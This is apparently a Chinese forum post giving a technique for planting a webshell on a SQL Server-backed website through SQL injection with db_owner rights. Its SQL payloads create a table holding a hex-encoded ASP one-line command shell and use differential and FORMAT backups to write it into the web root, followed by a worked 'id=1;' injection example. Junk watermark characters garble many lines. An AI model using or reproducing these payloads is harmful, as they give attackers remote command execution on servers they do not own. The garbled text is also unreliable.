DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:

减少备份文件大小，得到可执行的webshell成功率提高不少
, I9 ^: Q9 T/ B: [一利用差异备份
) C) U# v2 ~5 [加一个参数WITH DIFFERENTIAL
- \! P- q: h' T( j( C$ A
1 ]( ~! b: v* }6 [1
2
3
4
5 k) B# k# ]+ l# R4 F" f declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
* P5 m  k" G9 h$ screate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

5 m# x9 D; ^, L" F2 R二利用完全FORMAT
加一个参数WITH FROMAT
5 T8 r3 t: J4 z* a有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

2 \1 \$ S: y; ~" m) r/ z1
2
5 ^7 N! }7 w. D: P2 W1 _( [, F3
: \, }6 b: l$ ^+ v4 n( |& c7 Z3 }: E4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
9 _0 m6 W3 n4 S' h  j" r/ w- n. ]
: E, b- o" H3 Y) @7 \总的来说就是那么简单几句,下面以备份数据库model为例子
7 v+ F9 W9 B  t5 @% w1

1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')

2
3 a6 r( T7 _  g
5 V( m# L1 A2 `3 @% y1
id=1;backup database model to disk='你的路径‘ with differential,format;--
) d, [/ e, o, k0 @1 M5 L